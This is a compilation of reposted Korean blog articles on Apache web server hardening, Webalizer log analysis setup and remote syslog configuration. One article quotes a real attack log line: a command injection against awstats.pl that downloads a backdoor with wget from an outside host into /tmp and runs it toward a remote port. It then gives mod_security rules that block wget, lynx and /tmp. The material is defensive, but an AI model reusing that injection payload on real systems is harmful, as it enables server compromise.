이것은 bsuhak.com의 웹로그분석을 위한 실행설정이며 -c 옵션을 사용하시면 개별적인 설정파일사용이 가능하게 된다. 그리고 그 결과를 /home/bsuhak/www/weblog/bsuhak.com으로 하였습니다. 나머지 2개의 도메인 또한 동일한 방법으로 설정하였다.

 

그리고 생성된 webalizer.sh를 다음과 같이 실행퍼미션을 주어 실행가능하도록 설정하였다.

 

이로서 webalizer의 멀티웹로그분석을 위한 모든 설정이 끝이 났다.

 

6) Webalizer.sh 실행 및 실행결과 확인

이제 웹로그분석 실행을 해 보자. 분석실행은 아래 예처럼 webalizer.sh라고만 하면 된다. 참고로 실행은 가능하다면 아래 예처럼 절대경로로 실행을 해주시는 것이 좋다. 위의 webalizer.sh 파일내에서도 절대경로를 사용하였음을 확인하기 바란다.

 

아무런 메시지없이 실행이 끝났다면 분석결과가 정상적으로 진행이 되었다는 것을 의미합니다. 앞서도 말씀드렸듯이 webalizer는 C언어로 개발되었기 때문에 실행속도가 굉장히 빠르다. accesswatch와 실행속도를 비교해 보면 속도면에서 많은 차이점을 느낄 수 있을 것이다. 그리고 이 실행 결과 개별 웹사이트의 분석결과가 /home/ID/www/weblog 디렉토리에 각각 저장이 되었을 것이다.

 

이제 webalizer의 실행결과를 확인하기 위해 여기서 예로든 3개의 웹사이트 분석결과 디렉토리를 확인해 보도록 하겠다.

 

먼저, jangyu.or.kr의 웹로그분석결과가 /home/ju/www/weblog 디렉토리에 저장이 되었는가를 확인한 것입니다.

 

위와 같이 확인을 하셨다면 설정작업과 실행이 정상적으로 이루어 진다는 것을 의미합니다.

이제 남은 것은 주기적인 실행을 위한 cron설정만을 하면 된다.

 

7) 자동분석 설정을 위한 cron 설정하기

아래 예처럼 “crontab -e”라고 하시면 cron설정을 vi모드에서 하실 수가 있습니다. 실행시간은 서버내의 부하가 가장 적은 새벽 시간대로 해주면 될 것이다.  

 

이로써 멀티웹로그분석을 위한 webalizer 설치 및 구성, 그리고 실행 및 실행결과 확인과 cron설정을 모두 마쳤다.

 

 

 

출처 : http://blog.naver.com/yswon72/54667581

신고
출처 : http://stnzone.com/gboard/bbs/board.php?bo_table=gnuboard&wr_id=19


아파치 웹 서버의 보안 설정

웹 서버로서 가장 많이 사용되는 아파치를 이용할 때, 주 설정 파일인 'httpd.conf'에서 몇 가지 보안 설정을 해 주는 것만으로도 웹 보안을 상당히 강화할 수 있다. 권장할만한 몇 가지 대표적인 설정을 살펴보도록 하자.

일반적인 웹 서버는 서비스 포트로 1023 이하 포트인 80번을 사용하기 때문에 반드시 루트 권한으로 프로세스를 가동해야 한다. 그러나 일단 80번을 리슨한 다음에 실제 서비스를 제공하는 것은 루트가 아닌 루트가 포크한 일반 사용자 권한으로 서비스하도록 해야 한다. 만약 그렇지 않은 경우 루트 권한으로 HTTPD가 작동하게 된다. 이런 경우, 이를테면 악의적인 CGI 스크립트를 업로드해 실행하면, 루트 권한으로 작동하게 되므로 심각한 보안 문제를 유발할 수 있게 될 것이다. 따라서 아파치나 노바디 같은 일반 사용자 권한으로 포크해 가동하도록 한다.

·ServerTokens Prod


다음은 모 업체의 웹 서버로 텔넷으로 80번에 접속 후 HEAD 메소드로 접속 시도한 결과다. 웹 서버는 유닉스 계열의 1.3.29이고 모듈로는 PHP 4.3.4를 사용하고 있다는 것을 알 수 있다.


# telnet www.xxxxxx.co.kr 80
Trying 210.xxx.xx.xx...
Connected to www.xxxxxxx.co.kr


여기에서 데몬의 버전이 무엇이라는 것은 현재 해당 버전이 어떤 취약성을 가지고 있고, 어떤 공격을 하면 위험하다는 것을 알려주는 것과 다를 바 없다. 버전만 안다면 이런 정보는 인터넷에서 쉽게 조회가 가능하기 때문이다. 따라서 굳이 외부에 버전 정보와 같은 민감한 정보를 유출할 필요가 없으며, 가급적 보이지 않도록 속이거나 다른 정보로 보이도록 위조하는 것이 좋다.


이를 위해서 아파치에서는 'ServerTokens'이라는 지시자를 제공하고 있다. 가능한 옵션은 Prod, Min, OS, Full 등이 있는데, 아무런 옵션을 지정하지 않았을 경우에는 모든 정보가 보이는 Full이 된다. OS->Min->Prod로 갈수록 더 적은 정보를 보여주므로 당연히 Prod를 사용하는 것을 권장한다. 만약 Prod를 사용할 경우에는 과 같이 아파치라는 정보만 보인다.


만약 아파치라는 정보도 보이지 않도록 하거나 다른 정보로 보이도록 하려면, 아파치 컴파일 시 소스를 수정하거나 모드보안(modsecurity)이라는 보안 모듈을 사용해 설정을 위조하는 방법도 있다. 다음과 같이 설정할 경우 아파치라고 보이지 않고 지정한 문자열로 보인다.


SecServerSignature "Microsoft-IIS/5.0"


/이라는 사이트에서 제공하는 아리랑(arirang)이라는 툴을 이용하면 많은 IP 대역을 빠르게 스캔해 각 IP에서 어떤 웹 서버 버전을 사용하는지 보여주므로 각자 자신의 네트워크를 스캔해 보기 바란다.

·메소드 제한 설정

<Directory />
<LimitExcept GET POST>
       Order allow,deny
       deny from all
</LimitExcept>
</Directory>


이 설정은 서버에서 제공되는 메소드를 제한하는 설정을 보여주고 있다. 기본적으로 웹 서버에서는 많은 메소드를 제공하는데, 보안 관점에서 불필요한 메소드를 허용할 필요가 없으므로 반드시 필요한 몇 개의 필수 메소드만 제공하는 것이 좋을 것이다.


일반적으로, GET과 POST, HEAD만 제공하면 되므로, 이렇게 설정하면 모든 디렉토리에 대해 GET(HEAD도 포함됨)과 POST 메소드를 제공하며, 이외의 메소드는 제공하지 않게 된다.

·접근 통제 설정


만약 특정 디렉토리 이하에 대해서, 특정한 IP에서만 접근을 허용하고자 할 때는 다음과 같이 설정할 수 있다.


<Directory /home/ionthenet/>
  Order deny, allow
  Deny from all
  Allow from 192.168.1 
</Directory>


이 경우 /home/ionthenet/ 디렉토리 이하는 192.168.1.x 대역에 대해서만 접근 가능하고, 이외의 대역에서는 접근이 불가능한데, 여기에서 Deny from이나 Allow from의 순서는 중요하지 않다. Order 뒤에 있는 순서가 매우 중요하다. 즉, 아파치에서는 Order 구문에서 뒤에 나오는 것을 우선시하는데, 여기에서는 allow가 뒤에 있으므로 먼저 allow를 체크하고 이후에 deny를 체크한다. 따라서 우선 192.168.1. 대역은 허용하고 이외의 접속은 모두 거부하게 되는 것이다. 이는 관리자 모드나 사내 인트라넷 등을 활용할 때 유용하다.

·서버 사이드 파일 설정


다음으로는 웹 사이트 개발 과정에서 자주 실수하는 것인데, PHP 등과 같은 서버 사이드 소스 파일을 임시로 dbconn.old나 dbconn.bak와 같이 수정해 웹에서 직접 소스로 접근이 가능하게 되는 경우가 있는데, 이런 경우 의도치 않게 심각한 보안 문제를 유발할 수 있다.이런 경우에 대비해 다음과 같이 설정하면 확장자가 bak 이나 old 파일의 경우 웹 서버 자체에서 접근을 차단하므로 일단 안심할 수 있을 것이다.


<Files ~ ".bak$">
  Order allow,deny
  Deny from all
</Files>

<Files ~ ".old$">
  Order allow,deny
  Deny from all
</Files>


또는 다음과 같이 특정 확장자를 PHP와 같은 서버 사이드 언어로 설정해 웹 서버에 소스를 그대로 보이지 않고 실행하도록 하는 방법도 좋다.


AddType application/x-httpd-php .php .inc .bak .old .c 



·대용량 메모리 제한 설정


다음은 웹을 통해 대용량의 메모리를 사용하는 프로세스를 제한하는 설정으로, 모든 디렉토리에 대해 사용 가능한 메모리를 20MB로 제한, /home/ionthenet/ 디렉토리 이하에 대해서는 예외적으로 50MB 정도로 제한하게 된다.


사실상 메모리를 소모하는 간단한 루틴을 무한루프를 돌게 해 웹 서버를 다운시키는 것은 그리 어려운 것이 아니므로 사전에 적절한 제한을 해 두는 것이 좋다.

RLimitMEM 20000000
<Directory /home/ionthenet/>
RLimitMEM 50000000
</Directory>



·모드보안 설정


마지막으로 최근 자주 등장하는 공격 형태로서 게시판 등과 같은 웹 애플리케이션의 취약성을 이용, 인증을 우회해 웹을 통해 시스템 명령어를 실행하는 경우다. 


이는 다음과 같은 웹 서버 로그를 보면 알 수 있는데, 아래의 경우 웹을 통해 WGET을 실행해 백도어를 /TMP에 업로드 후 직접 실행한다는 것을 알 수 있다.


200.96.xx.xxx - - [26/xxx/2005:06:34:30 +0000] "GET /cgi-bin/awstats/awstats.pl?xxx=%20/tmp;
wget%20http://www.nokiacxxxx.cz/dcha0s/dc;chmod%20777%20dc;./dc%20cyber.yar.ru%208080;%00
HTTP/1.1" 200 554 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"


그러나 아파치 자체에서는 이런 형태의 공격을 차단할 수 있는 방법은 없다. 단지 모드보안(modsecurity)라는 별도의 보안 모듈을 이용할 경우만 가능하다. 따라서 모드보안를 설치한 후, 다음의 설정을 'httpd.conf'에 추가하면 URI 문자열에 미리 지정된 WGET이나 TMP 등이 보이면 접속을 거부하고 해당 정보를 로그에 남긴 후 500 에러를 낸다. 공격자들이 흔히 사용하는 시스템 명령어를 미리 필터에 지정해 두면 미봉책이나마 웹을 통한 공격을 사전에 차단하는 효과를 기대할 수 있다.


<IfModule mod_security.c>
  SecFilterDefaultAction "deny,log,status:500"
  SecFilterSelective THE_REQUEST "wget"
  SecFilterSelective THE_REQUEST "lynx"
  SecFilterSelective THE_REQUEST "/tmp"
</IfModule>



원격의 로깅(logging) 서버를 이용하는 방법


로그(log)의 중요성은 아무리 강조해도 지나치지 않을 만큼 시스템과 네트워크 관리에 있어서 큰 비중을 차지한다. 가급적 각 시스템의 로그를 각각 저장하지 않고 별도의 로그서버를 둬 한 곳에서 통합관리를 해야 한다.


그 이유로는 우선 사용의 편의성을 들 수 있다. 한두 대의 시스템이 아닐 경우 일일이 로그인해 정보를 확인하는 것은 거의 불가능하기 때문이다.


다른 이유로 보안적인 문제를 들 수 있다. 대부분의 공격자는 관리자 권한 획득에 성공한 후 로그 파일에서 자신의 접속 정보를 삭제하거나 아예 로그 파일을 삭제하는 경우가 많다. 하지만 별도의 원격지 로그 서버에 로그를 저장할 경우 로그 서버까지 공격해 관리자 권한을 획득하지 않는 한 상대적으로 안전하기 때문이다.


자, 그럼 유닉스 계열의 서버에서 로그 서버를 어떻게 구축해야 할까?


먼저 로그를 보낼 각각의 서버에서 다음과 같이 설정한다.


#/etc/syslog.conf 파일

authpriv.*                   @192.168.1.5


이렇게 설정할 경우 보안 또는 인증과 관련된 로그를 로컬 시스템에 저장하지 않고 원격지의 192.168.1.5 서버에 저장하게 된다. 만약 원격지 로그 서버뿐만 아니라 로컬에도 같이 저장하려면 다음과 같이 설정하면 된다.


#/etc/syslog.conf 파일

authpriv.*                   @192.168.1.5
authpriv.*                   /var/log/secure


또는 authpriv.* 대신 *.* 를 지정하면 모든 정보를 로그에 남기게 될 것이다.
설정을 변경한 후에는 다음과 같이 실행하여 syslog를 재가동하도록 한다.


# /etc/rc.d/init.d/syslog restart


다음에는 로그를 받을 로그 서버(즉, 192.168.1.5)에서의 설정 방법이다.
이는 간단히 다음과 같은 파일만 수정하면 된다.


# /etc/rc.d/init.d/syslog 파일

start)
       echo -n "Starting system logger: "
       # we don't want the MARK ticks
       daemon syslogd -m 0 -h
==>
start)
       echo -n "Starting system logger: "
       # we don't want the MARK ticks
       daemon syslogd -m 0 -r -h


즉, syslogd의 데몬 옵션 중에 -r 옵션만 추가하면 되는데, 여기에서 -r의 의미는 syslogd 서비스를 통해 원격지에서 로그를 받는다는 것으로, 이 설정을 해 주지 않으면 원격지에서 전송되는 로그를 받을 수 없으니 주의하기 바란다.


이후 설정을 변경한 후에는 다음과 같이 실행해 syslog를 재가동한다.

# /etc/rc.d/init.d/syslog restart

이제 모든 설정이 끝났다.


이후 다음과 같이 TCPdump를 실행하면 전송되는 패킷을 확인할 수 있다.

# tcpdump port 514
09:36:22.393806 eth0 < www51.syslog > logserver.syslog: udp 47 (DF)
09:36:22.522422 eth0 < www66.syslog > logserver.syslog: udp 47 (DF)
09:36:22.877417 eth0 < www58.syslog > logserver.syslog: udp 46 (DF)

참고로 IP가 보이지 않고 호스트 이름이 보이는 것은 서버의 /etc/hosts 파일에 다음과 같이 등록했기 때문이다.


# /etc/hosts

192.168.1.5      logsevrer
192.168.1.51     www51
192.168.1.66     www66
192.168.1.57     www58


이후 /var/log/secure 파일을 보면 다음과 같이 각 서버로부터 전송되는 인증 정보가 로그에 쌓이는 것을 알 수 있다.


# tail -f /var/log/secure
Nov 22 09:38:51 www66 ipop3d[19836]: connect from 221.151.163.57
Nov 22 09:38:51 www58 ipop3d[28856]: connect from 221.151.163.57
Nov 22 09:38:52 www51 ipop3d[14722]: connect from 59.11.76.100
Nov 22 09:38:52 www51 ipop3d[14723]: connect from 211.206.124.39


저자 : 홍석범 | 오늘과내일 운영관리팀 차장

신고

출처 : http://blog.pages.kr/44


가. 웹 서버 프로세스를 위한 계정

Apache와 관련된 사용자 계정은 크게 두 가지가 있다.

● Apache 서버가 설치 및 구동을 위한 계정 - 운영체제에 로그인하여 Apache를 설치하고, 웹서버를 시작/종료 시키는 계정
※ 웹 서비스를 위한 포트로 1024번 미만 포트번호(80 번 포함)를 사용하기 위해서는 이 계정이 root이어야 한다.
● 웹 서버 프로세스를 위한 계정 - 웹 서버 데몬이 시작된 후 일반사용자의 웹 접속을 처리하기 하기 위하여 생성되는 프로세스가 사용하는 계정
“웹서버 프로세스 계정”의 경우 반드시 로그인할 수 없는 계정 즉, 쉘(shell)이 없는 계정으로 설정하여야 한다. 일반적으로는 사용자 ID와 그룹으로 쉘이 없는“nobody”계정을 사용한다. 아래 그림처럼 /etc/passwd파일과 /etc/shadow파일의 nobody 계정에 대하여 맨 마지막에 /bin/sh, /bin/csh등 shell을 명시하는 부분이 제외되어 있음을 확인 할 수 있다. 


nobody:x:99:99:Nobody:/:

nobody:*:11900:0:99999:7:::

또한, 이러한 계정(쉘이 없는계정, 아래 예에서는“nobody”)이 실제 웹 서비스에 적용되려면 아파치 설정파일(httpd.conf)에서“User”,“ Group”지시자(directive)가 아래와 같이 설정되어야 한다.
User nobody
Group nobody

나. 웹 서버 DocumentRoot의 설정

웹 서버 DocumentRoot는 모든 웹 컨텐트가 저장될 디렉토리 구조이며 이 디렉토리에 위치된 컨텐츠는 웹을 통하여 공개된다. 따라서 가능하면 이 디렉토리는 시스템의 루트 파일시스템 등과는 별도의 파일시스템을 사용해야 한다.

Apache 기본 설치시에는 htdocs 디렉토리를 DocumentRoot로 사용하고 있는데 이를 바꾸도록 한다. htdocs 디렉토리에는 공개될 필요가 없거나 공격에 악용될 수 있는 시스템 관련 정보가 담긴 파일이 기본적으로 설치 될 수 있다.

“/usr/local/www”를 DocumentRoot로 지정하고자 할 경우 httpd.conf 파일에서 다음과 같이 할 수 있다. 
#DocumentRoot“ /usr/local/apache/htdocs”
DocumentRoot“ /usr/local/www”

웹 서버 데몬은 chroot에 설치하는 것을 권고한다. 만약 웹서버 데몬이 공격당했다고 하더라도 공격자는 chroot 디렉토리로 정해놓은 디렉토리 이외로는 접근할 수 없어 피해를 최소화할 수 있다.

다. 불필요한 CGI 스크립트 제거

Apache 배포판에는 불필요한 CGI 스크립트들이 포함되어 있어 공격에 이용될 수 있다. Apache
설치시 기본적으로 cgi-bin 디렉토리에 설치되는 모든 CGI 스크립트들은 제거하는 것이 안전
하다.

라. Apache 환경파일(httpd.conf)의 설정

● 디렉토리 리스팅 방지
- 웹 브라우저에서 사용자가 URL을 입력했을 경우, 웹 컨텐츠가 없을 경우 기본적으로 디렉토리 리스트를 보여주는 것을 방지해야 한다.
- DocumentRoot 디렉토리 내의 모든 파일들이 리스팅되는 것을 방지하기 위해서는 환경설정화일(httpd.conf)“ Options”지시자에서“Indexes”옵션을 제거한다. 

● 심블릭 링크의 사용 방지
- 웹 서버에서 심블릭 링크를 이용해서 기존의 웹 문서 이외의 파일시스템에 접근하는 것이 가능하나 심각한 보안 문제를 야기시킬 수 있다. 가령 시스템 자체의 root 디렉토리(/)를 링크 걸게 되면 웹서버 구동 사용자 권한(nobody)으로 모든 파일시스템의 파일에 접근할 수 있게 된다.(예를 들면 /etc/passwd을 공개하게 될 수도 있다.)
- 이를 방지하기 위해서는“Options”지시자에서 심블릭 링크를 가능하게 하는 옵션인 “FollowSymLinks”를 제거함으로써 이를 막을 수 있다.

● SSI(Server Side Includes) 사용 제한
- SSI는 HTML 페이지 안에 위치하고 있으며, 동적인 웹 페이지를 제공할 수 있도록 한다. 하지만 SSI가 포함된 파일은“exec cmd”를 사용해서 어떤 CGI 스크립트나 프로그램들을 Apache가 구동하는 사용자와 그룹 권한으로 실행시킬 수 있다.
- 이 SSI 페이지가 스크립트나 프로그램을 실행시킬 수 없도록 하기 위해서는“Options”지시자에“IncludesNoExec”옵션을 추가함으로써 차단할 수 있다.

● CGI 실행디렉토리 제한
- 사용자들이 CGI 스크립트들을 어느 디렉토리에서나 실행할 수 있도록 할 경우 악의적인 사용자가 CGI 프로그램을 업로드한 후 이를 실행하여 임의의 명령을 실행시킬 수 있다.
- 따라서, CGI 프로그램의 실행은 관리자가 지정한 특정 디렉토리에서만 가능하도록 제한할 필요가 있다. CGI 실행은“ScriptsAlias”지시자에 의해서 실행가능한 디렉토리를 제한할 수 있다.“ ScriptsAlias”지시자 문법은 다음과 같다. 
정의방법: ScriptAlias URL-path file-path | directory-path

예를들어 cgi-bin이라는 디렉토리에서만 CGI프로그램을 실행가능하도록 할 경우 다음과 같이 지정할 수 있다.
ScriptAlias /cgi-bin/“ /usr/local/apache/cgi-bin/”

앞서 언급한 디렉토리 리스팅, 심블릭 링크, SSI 등에 대한 제어는“Options”지시자에 의해 제어가 가능하다.
정의방법: Options [+|-]option [[+|-]option] ...

“Options”지시자에서 사용할 수 있는 옵션값은 다음 표와 같다.
옵션값 설명
All MultiViews를 제외한 모든 옵션을 줌(default 설정값임)
None 옵션을 주지 않음
ExecCGI CGI 프로그램 실행을 가능하게 함
FollowSymLinks 심볼릭 링크로의 이동을 가능하게 함
Includes Server Side Includes를 가능하게 함
IncludesNOEXEC
Server-side includes는 가능하지만 CGI 스크립트나 프로그램들은 실행할 수
없도록 함.
Indexes 해당 디렉토리 안에 DirectoryIndex에 명기된 파일(index.html 등)이 없을 경우 디렉토리와 파일 목록을 보여줌
MultiViews 유사한 파일이름을 찾아 주는 기능을 실행함(예를들어 index라고만 입력하더라도 index.*를 찾아 보여줌)
SymLinksIfOwnerMatch The server will only follow symbolic links for which the target file or directory is owned by the same user id as the link.

● httpd.conf 설정 예시
- DocumentRoot 디렉토리가 다음과 같이 설정되어 있다고 하자.

Options Indexes FollowSymLinks

- 이 경우 다음 그림과 같이 DirectoryIndex에 정의된 초기 파일(index.html) 이 존재하지 않을 경우 디렉토리내의 파일목록을 리스트업 해 준다.


또한, FollowSymLinks로 인해 루트 디렉토리(/)에 심블릭 링크된 system.html 파일(ln -s / system.html)을 열었을 경우 DocumentRoot 디렉토리 상위의 passwd 파일까지 열람이 가능함을 알 수 있다. 



Options IncludesNoExec
이 경우 초기 파일(index.html)이 존재하지 않을 경우 디렉토리 리스트를 보여 주는 것이 아니라 오류 창을 띄워주는 것을 확인할 수 있다.


● 웹 서버 응답 메시지 헤더 정보 숨기기
- 웹서버 해더 정보란 다음과 같이 클라이언트가 Apache 웹서버에 접속했을 때 웹서버에서는 응답 메시지의 헤더를 말한다.
[root@hcjung conf]# telnet xxx.xxx.xxx.xxx 80
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is‘ ^]’.
GET / HTTP/1.1
HTTP/1.1 400 Bad Request
Date: Tue, 15 Oct 2002 11:25:10 GMT
Server: Apache/1.3.19 (Unix) PHP/4.0.4pl1

- 이 정보는 공격자에 의해 Apache 웹서버 버전별 또는 구동되고 있는 응용프로그램에 잘 알려진 취약점을 공격하는데 유용하게 악용될 수 있으며, 인터넷 웜과 같은 자동화된 공격에서도 이러한 banner 정보가 사용되어지기도 한다. 따라서 공격자에게 웹서버의 버전과 같은 banner 정보를 숨기는 것이 안전하다.
- Apache 웹서버에서는“ServerTokens”지시자를 수정함으로써 헤더에 의해 전송되는 정보를 바꿀 수 있다.
정의방법: ServerTokens Minimal|ProductOnly|OS|Full

- ServerTokens 지시자를 이용하여 설정할 수 있는 각 키워드와 표시되는 헤더 정보는 다음
과 같다.
키워드 제공하는 정보
Prod[uctOnly] 웹서버 종류 Server: Apache
Min[imal] Prod 키워드 제공 정보 + 웹서버 버전 Server: Apache/1.3.0
OS Min 키워드 제공 정보 + 운영체제 Server: Apache/1.3.0 (Unix)
Full OS 키워드 제공 정보 +
설치된 모듈(응용프로그램) 정보
Server: Apache/1.3.0 (Unix)
PHP/3.0 MyMod/1.2

- 공격자를 속이기 위해서 서버의 헤더 정보를 앞에서 명기한 내용과는 전혀 다른 내용으로 조작하여 클라이언트에 보낼 수도 있는데 이를 위해서는 Apache 소스코드를 수정한후 재컴파일하여야 한다. 

마. 사용자 인증

(1). 사용자 인증의 종류

① 기본 사용자 인증(Basic Authentication)
● 기본 사용자 인증은 Apache에서 제공되는 htpasswd를 이용하여 사용자 계정을 생성하고 인증하는 방법이다.
● 패스워드가 암호화되어서 저장되지만 클라이언트에서 서버로 전송되는 도중에는 암호화되지 않아 전송 중 노출될 수 있다.

② 다이제스트 사용자 인증(Digest Authentication)
● 기본 사용자 인증과 마찬가지로 Apache에서 제공되는 htpasswd를 이용하여 사용자 계정을 생성하고 인증하는 방법이다.
● 기본 사용자 인증과의 차이점은 패스워드를 MD5 암호화 해쉬하여 전송하므로 전송중에도 비교적 안전하지만 인증에 사용되는 패스워드만 암호화되고 데이터는 평문으로 전송됨을 주지할 필요가 있다.

③ 어플리케이션에서의 인증(데이터베이스 등 로그인 정보유지)
● 어플리케이션에서의 인증은 Apache에서 제공되는 htpasswd 명령을 이용하지 않고 사용자 이름과 패스워드를 데이터베이스에 저장하고 이를 이용하여 인증하는 방법이다.
● 데이터베이스에 저장된 사용자 계정에 대한 정보는 기업의 보안정책에 따라 다르지만 일반 적으로, 암호화나 단방향 함수(해쉬)등을 적용하여 저장 하는 것이 안전하다. (내부자에 의한 정보유출 방지)

바. 기본 사용자 인증

● 기본 사용자 인증은 크게 다음과 같은 두가지 절차로 설정할 수 있다.

(1) 패스워드 파일 생성

- 아파치 설치시 제공되는 htpasswd 명령을 이용하여 패스워드 파일을 생성한다. htpasswd 파일의 사용법은 다음과 같다.
사용법: htpasswd [-cmdps] passwordfile username

- 패스워드 파일을 최초로 생성할 경우에는 -c 옵션을 사용하여 새로운 패스워드 파일을 만든다.
[root@hcjung bin]# ./htpasswd -c /usr/local/apache/passwords hcjung
New password:
Re-type new password:
Adding password for user hcjung

- 이후, 새로운 사용자를 추가하고자 할 경우에는 -c 옵션을 빼고 사용하면 된다. 실수로 -c 옵션을 줄 경우 기존에 등록된 사용자들이 지워지므로 주의하여야 한다. 
[root@hcjung bin]# ./htpasswd /usr/local/apache/passwords webmaster

- 생성된 패스워드 파일은 가능한 안전한 장소에 보관하고 웹서버 자체가 읽을 수 있는 최소한의 권한만을 주어야만 한다. 만일 웹서버가 nobody 사용자와 nobody 그룹으로 구동된다면 다음과 같이 소유권과 접근권한을 줄 수 있다. 
[root@hcjung bin]# chown root.nobody /usr/local/apache/passwords
[root@hcjung bin]# chmod 640 /usr/local/apache/passwords

(2) 패스워드 파일을 사용가능하도록 환경설정

- 패스워드 파일의 생성이 끝났으면 Apache 웹서버에게 이 파일을 사용할 수 있도록 설정하여 주어야 한다.
- 먼저 각 디렉토리별로 사용자 인증을 하기 위해서 httpd.conf 파일 내의 AllowOverride 지시자의 옵션을 None에서 AuthConfig 또는 All로 바꾼다.(사용자 인증만을 위해서는 AuthConfig 사용을 권고) 

AllowOverride AuthConfig

그리고, 사용자 인증이 필요한 디렉토리에 다음의 지시자들이 포함된 .htaccess 파일을 생성 한다.
옵션값 설명
AuthType 인증 형태(Basic 또는 Digest)
AuthName 인증 영역(웹 브라우저의 인증창에 표시됨)
AuthUserFile 사용자 패스워드 파일의 위치
FollowSymLinks 심볼릭 링크로의 이동을 가능하게 함
AuthGroupFile 그룹 파일의 위치(옵션)
Require
접근을 허용할 사용자 또는 그룹 정의
ex)
Require user userid [userid] ...
Require group group-name [group-name] ...
Require valid-user

앞서 패스워드 파일에 등록된 hcjung와 webmaste만이 웹서버에 접속 할 수 있도록 하기 위해서는 다음과 같이 설정할 수 있다. 
[root@hcjung /root]# cd /usr/local/www
[root@hcjung www]# vi .htaccess
AuthType Basic
AuthName“ Welcome HyunCheol’s Home”
AuthUserFile /usr/local/apache/passwords
Require user hcjung webmaste

- 위에서 접근을 허용할 사용자를 hcjung와 webmaster로 한정을 했는데 패스워드 파일에 등록된 모든 사용자들이 접근할 수 있도록 하기 위해서는 사용자를 지정하는 대신“Require valid-user”라고 하면 된다. 


- 정상적으로 사용자 인증 설정이 완료되었을 경우 웹 브라우져에서 웹서버 접속시 다음과 같은 사용자 이름과 암호를 묻는 인증창이 뜨게 된다.

- 사용자 이름과 암호가 정확하게 입력된 경우는 웹 페이지 접속이 가능하지만 정확하지 않을 경우 다음과 같은 경고창이 뜨고 접속을 허가하지 않는다. 


사. SSL 인증서 또는 웹 암호화 솔루션의 적용

● 웹을 통하여 회원신상, 금융거래, 카드번호 등 데이터의 기밀성이 요구되는 데이터가 전송된다면 SSL을 적용하거나 기타 웹 암호화 제품의 적용을 고려하여야 한다.
● Apache에서는 mod-ssl을 이용하여 SSL 암호화를 적용할 수 있다.
● SSL의 적용은 기본적으로 OpenSSL을 이용한 Apache용 SSL모듈(apache/mod-ssl)을 이용하여 생성한 자체 SSL 인증서를 이용할 수도 있고, 유료로 제공되는 SSL인증서를 이용할 수 도 있다.
● 자체 SSL인증서와 유료 인증서 방식의 차이점은 접속하는 사용자 관점에서 해당 사이트가 정말로 그 사용자가 믿고(알고)있는 웹 사이트인지 여부에 대하여 제3자(인증기관)이 보증해 주느냐 안해주느냐의 차이다. 데이터에 이용되는 암호화 수준은 알고리즘과 키길이와 관련되므로 별개의 문제이다.

아. 보안 패치

● Apache설치후 버전별로 발견된 취약점은 ApacheWeek (http://www.apacheweek.com/security/) 에서 확인할 수 있다.
● 가능한 주기적으로 보안 패치정보를 확인후 조치하여야 한다. Apache 웹서버 관련 취약점에 대한 패치는 http://www.apache.org/dist/httpd/patches/ 에서 다운받을 수 있다. 

자. 설정파일 및 데이터 백업

● 초기 서버 설정 파일들과 이후의 기본적인 설정파일들은 일반에 공개되거나 다른 변화가 일어나기 전에 백업해서 보관되어져야 한다. 또한 시스템 설정이 변경될 때마다 이력관리가 필요하고 다수의 수정이 있을 경우에는 반드시 백업을 하도록 한다.
● 주요 백업 데이터는 다음과 같은 것이 있다.
- 아파치 각종 환경설정 파일
- 아파치 설치과정에 사용된 Install 파일(경우에 따라 Rebuild에 많은 시간을 단축할 수
있음)
- 사용자 프로그램 소스(PHP, JSP, CGI등)
- 웹서비스와 관계된 데이터 베이스 등

차. 로그 설정 및 분석

● 아파치는 두 개의 로그 파일을 사용하는데, 에러 로그와 액세스 로그이다. 에러 로그는 아파치 서버의 에러 정보를 기록하고, 액세스 로그는 아파치 서버가 처리하는 모든 요청에 대한 정보를 기록한다.
● 로그 파일의 위치는 httpd.conf 파일에서 지정한다.

# ErrorLog : The location of th error log file
# if you do not specify an ErrorLog directive within a 
# container, error messages relating to that virtual host will be
# Logged herer. if you *do*define an error logfile for a 
#container, that host's errors will be logged therer and not here.
#
ErrorLog/var/log/httpd/error_log


#
# The location and format of the access logfile (Common Logfile Format).
# If you do not define any access logfiles within a 
# container, they will be logged here. Contrariwise, if you *do*
#define per-access logfiles, transactions will be
# logged therein and *not*in this file.
Custom Log/var/log/httpd/access_log common

(1) 에러 로그

● 에러 로그 파일의 포맷은 비교적 자유로운 형식인데, 대부분의 경우 다음과 같은 정보가 포 함된다. 
[Wed Oct 11 14:32:52 2000] [error] [client 127.0.0.1] client denied by server configuration:/ export/home/live/ap/htdocs/test

① 메시지의 날짜와 시간
② 에러의 위험도
③ 에러를 발생시킨 클라이언트의 IP주소
④ 에러 메시지의 내용 (클라이언트가 요청한 문서를 파일 시스템 경로로 표현)

● 에러 로그 파일에 기록될 에러의 위험도 수준은 다음과 같이 httpd.conf파일에서 LogLevel 지시자를 이용하여 지정할 수 있다. 
#
# LogLevel:control the number of messages logged to the error_log
# Possible values include: debug, info, notice, warn, error, crit.
# alert, emerg.
#
LogLevel error

(2) 엑세스 로그

● 액세스 로그는 서버가 처리하는 모든 요청에 대한 정보를 기록한다. 액세스 로그의 위치와 로그 포맷은 CustomLog 지시자를 통해 지정된다. LogFormat 지시자를 이용해서 다양한 로그 포맷을 만들어 놓고, 간단하게 선택하여 사용할 수 있다.
● 액세스 로그로 사용되는 공통적인 로그 포맷은 Common Log Format(CLF)과 Combined Log Format(CLF)이다.

가) Common Log Format(CLF): 많은 다른 웹 서버에서도 동일하게 생성되는 포맷이고, 많은 로그 분석 프로그램이 읽을 수 있는 포맷이다. httpd.conf 파일에서 다음과 같이 설정할 수 있다. 
LogFormat "%h %1 %u %t \" %\" %>s %b" common
CustomLog logs/access_log common

● LogFormat 지시자는 하나의 포맷 스트링을 정의하고 common이라는 닉네임을 붙인다.
CustomLog 지시자는 로그가 저장될 파일의 위치와 이름, 그리고 저장될 로그의 포맷을 정 의한다.
● 이 포맷에 의해 생성된 로그는 다음과 같다.
172.16.5.100 - jun [ 08/Apr/2003:16:03:43 + 0900] "GET / php HTTP/1.1"301

① 클라이언트의 IP 주소(%h) HostnameLookups이 On으로 설정되어 있으면 IP주소 대신 호 스트네임을 찾아서 저장한다(이 설정으로 서버가 크게 느려질 수 있기 때문에 가능하면 사용 하지 않도록 한다).
